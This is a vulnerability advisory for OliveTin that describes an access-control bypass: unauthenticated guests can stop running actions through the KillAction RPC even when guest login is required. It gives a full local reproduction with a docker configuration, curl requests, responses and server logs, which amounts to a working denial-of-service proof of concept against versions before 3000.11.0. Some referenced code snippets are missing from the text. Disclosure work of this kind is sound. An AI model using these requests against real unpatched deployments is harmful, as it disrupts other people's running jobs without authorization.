| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/OliveTin/OliveTin | < 0.0.0-20260302002902-d9804182eae4 | 0.0.0-20260302002902-d9804182eae4 |
| olivetin | < 3000.11.0 | 3000.11.0 |
OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions.
The issue is caused by inconsistent authorization enforcement between dashboard access and action-control RPCs.
KillAction() authenticates the caller and applies only the per-action kill ACL check:
However, it does not enforce the guest login requirement. The guest/login gate exists separately in:
That gate is used by dashboard-style methods, but not by KillAction.
In addition, when authRequireGuestsToLogin is enabled, config sanitization disables guest view, exec, and logs permissions, but leaves kill unchanged:
Specifically:
As a result, in the default configuration path where Kill remains allowed, an unauthenticated guest user can still satisfy IsAllowedKill():
I validated this behavior on a clean 3000.10.2 setup:
This confirms a real authorization bypass affecting action termination.
Tested version:
3000.10.2
mkdir -p /tmp/olivetin-kill-bypass
cat > /tmp/olivetin-kill-bypass/config.yaml <<'YAML'
listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false
authRequireGuestsToLogin: true
authLocalUsers:
enabled: true
users:
- username: "admin"
usergroup: "admin"
password: "$argon2id$v=19$m=65536,t=4,p=2$JLk85PhCL7RPboAlsYO4Lw$bQj6uhKnBpisbGRhe271cEt59S9EqYrHKeCfykypbZ4"
accessControlLists:
- name: adminall
addToEveryAction: true
matchUsernames: ["admin"]
permissions:
view: true
exec: true
logs: true
kill: true
actions:
- title: long-running
id: long-running
shell: sleep 20
timeout: 30
YAML
docker rm -f olivetin-kill-bypass 2>/dev/null || true
docker run -d --name olivetin-kill-bypass \
-p 1347:1337 \
-v /tmp/olivetin-kill-bypass:/config:ro \
ghcr.io/olivetin/olivetin:3000.10.2
curl -i http://127.0.0.1:1347/readyz
curl -i -X POST http://127.0.0.1:1347/api/GetDashboard \
-H 'Content-Type: application/json' \
--data '{"title":"default"}'
Observed response:
HTTP/1.1 403 Forbidden
{"code":"permission_denied","message":"guests are not allowed to access the dashboard"}
curl -c /tmp/ot_admin_cookie.txt -i -X POST http://127.0.0.1:1347/api/LocalUserLogin \
-H 'Content-Type: application/json' \
--data '{"username":"admin","password":"SecretPass123!"}'
curl -i -b /tmp/ot_admin_cookie.txt -X POST http://127.0.0.1:1347/api/StartAction \
-H 'Content-Type: application/json' \
--data '{"bindingId":"long-running","arguments":[],"uniqueTrackingId":"kill-hunt-1"}'
Observed response:
HTTP/1.1 200 OK
{"executionTrackingId":"kill-hunt-1"}
curl -i -X POST http://127.0.0.1:1347/api/KillAction \
-H 'Content-Type: application/json' \
--data '{"executionTrackingId":"kill-hunt-1"}'
Observed response:
HTTP/1.1 200 OK
{"executionTrackingId":"kill-hunt-1","killed":true,"alreadyCompleted":false,"found":true}
docker logs olivetin-kill-bypass 2>&1 | tail -n 120
Observed relevant lines:
Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/GetDashboard" ... username="guest"
Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/StartAction" ... username="admin"
Action started actionTitle="long-running"
Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/KillAction" ... username="guest"
Killing execution request by tracking ID: kill-hunt-1
Action finished actionTitle="long-running" exit="-1"
This proves:
This is an unauthenticated broken access control vulnerability resulting in denial of service.
An unauthenticated guest can:
Who is impacted:
This issue does not require valid credentials, only knowledge of a live executionTrackingId. That still makes it a real and exploitable availability issue in environments where execution identifiers can be observed or predicted through adjacent leaks or shared operator knowledge.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free